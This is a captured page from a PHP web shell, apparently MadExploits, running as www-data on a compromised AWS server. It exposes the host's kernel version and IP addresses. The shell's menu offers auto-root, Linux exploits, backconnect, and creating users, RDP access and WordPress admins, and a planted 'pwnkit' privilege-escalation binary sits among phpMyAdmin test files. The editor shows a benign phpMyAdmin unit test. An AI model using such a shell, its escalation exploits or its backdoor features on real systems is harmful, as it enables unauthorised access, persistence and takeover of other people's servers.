Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.188.90.83
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
Query /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
CompatibilityTest.php
1.93
KB
-rw-r--r--
GeneratorTest.php
4.89
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GeneratorTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests\Query; use PhpMyAdmin\Query\Generator; use PhpMyAdmin\Tests\AbstractTestCase; use PHPUnit\Framework\Attributes\CoversClass; #[CoversClass(Generator::class)] class GeneratorTest extends AbstractTestCase { public function testGetColumnsSql(): void { self::assertSame( 'SHOW COLUMNS FROM `mydb`.`mytable`', Generator::getColumnsSql( 'mydb', 'mytable', ), ); self::assertSame( 'SHOW COLUMNS FROM `mydb`.`mytable` LIKE \'_idcolumn\'', Generator::getColumnsSql( 'mydb', 'mytable', "'_idcolumn'", ), ); self::assertSame( 'SHOW FULL COLUMNS FROM `mydb`.`mytable`', Generator::getColumnsSql( 'mydb', 'mytable', null, true, ), ); self::assertSame( 'SHOW FULL COLUMNS FROM `mydb`.`mytable` LIKE \'_idcolumn\'', Generator::getColumnsSql( 'mydb', 'mytable', "'_idcolumn'", true, ), ); } public function testGetTableIndexesSql(): void { self::assertSame( 'SHOW INDEXES FROM `mydb`.`mytable`', Generator::getTableIndexesSql( 'mydb', 'mytable', ), ); self::assertSame( 'SHOW INDEXES FROM `mydb`.`mytable` WHERE (1)', Generator::getTableIndexesSql( 'mydb', 'mytable', '1', ), ); } public function testGetSqlQueryForIndexRename(): void { self::assertSame( 'ALTER TABLE `mydb`.`mytable` RENAME INDEX `oldIndexName` TO `newIndexName`;', Generator::getSqlQueryForIndexRename( 'mydb', 'mytable', 'oldIndexName', 'newIndexName', ), ); } public function testGetQueryForReorderingTable(): void { self::assertSame( 'ALTER TABLE `mytable` ORDER BY `myOrderField` ASC;', Generator::getQueryForReorderingTable( 'mytable', 'myOrderField', '', ), ); self::assertSame( 'ALTER TABLE `mytable` ORDER BY `myOrderField` ASC;', Generator::getQueryForReorderingTable( 'mytable', 'myOrderField', 'S', ), ); self::assertSame( 'ALTER TABLE `mytable` ORDER BY `myOrderField` ASC;', Generator::getQueryForReorderingTable( 'mytable', 'myOrderField', 'DESC', ), ); self::assertSame( 'ALTER TABLE `mytable` ORDER BY `myOrderField` DESC;', Generator::getQueryForReorderingTable( 'mytable', 'myOrderField', 'desc', ), ); self::assertSame( 'ALTER TABLE `mytable` ORDER BY `myOrderField` ASC;', Generator::getQueryForReorderingTable( 'mytable', 'myOrderField', null, ), ); } public function testGetQueryForPartitioningTable(): void { self::assertSame( 'ALTER TABLE `mytable` PARTITION ;', Generator::getQueryForPartitioningTable( 'mytable', '', [], ), ); self::assertSame( 'ALTER TABLE `mytable` PARTITION p1;', Generator::getQueryForPartitioningTable( 'mytable', '', ['p1'], ), ); self::assertSame( 'ALTER TABLE `mytable` PARTITION p1, p2;', Generator::getQueryForPartitioningTable( 'mytable', '', ['p1', 'p2'], ), ); self::assertSame( 'ALTER TABLE `mytable` COALESCE PARTITION 2', Generator::getQueryForPartitioningTable( 'mytable', 'COALESCE', ['p1', 'p2'], ), ); } /** * Test for buildSqlQuery */ public function testBuildSqlQuery(): void { $queryFields = ['a', 'b']; $valueSets = ['1', '2']; self::assertSame( 'INSERT IGNORE INTO `table` (a, b) VALUES (1), (2)', Generator::buildInsertSqlQuery('table', true, $queryFields, $valueSets), ); self::assertSame( 'INSERT INTO `table` (a, b) VALUES (1), (2)', Generator::buildInsertSqlQuery('table', false, $queryFields, $valueSets), ); } }
Close